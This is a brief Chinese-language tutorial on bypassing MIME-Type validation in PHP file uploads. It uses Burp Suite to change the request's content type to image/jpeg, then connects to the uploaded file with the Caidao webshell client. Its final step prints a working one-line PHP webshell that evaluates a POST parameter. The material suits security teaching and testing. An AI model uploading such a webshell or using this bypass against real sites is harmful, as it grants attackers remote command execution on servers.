文件上传-绕过MIME-Type验证

文件上传-绕过MIME-Type验证

1. MIME-Type介绍
   MIME(Multipurpose Internet Mail Extensions)多用途互联网邮件扩展类型。是设定某种扩展名的文件用一种应用程序来打开的方式类型，当该扩展名文件被访问的时候，浏览器会自动使用指定应用程序来打开。多用于指定一些客户端自定义的文件名，以及一些媒体文件打开方式。
   例如：
   

2. 验证MIME-Type代码分析
   查看源代码分析 使用$_FILE[‘upload_file’][‘type’]获取上传文件的MIME-Type类型。其中upload_file是在表单中定义的。
   

3. Burpsuite绕过MIME-Type验证
   利用Burpsuite工具截断HTTP请求，在Repeater重放修改MIME-Type类型绕过验证。image/jpeg

4. 菜刀连接 虚拟终端功能
   一句话木马：php <?php @eval($_POST[“cmd”]); ?>
   技巧：获取上传Webshell的地址，右键图片属性，进行连接。虚拟终端介绍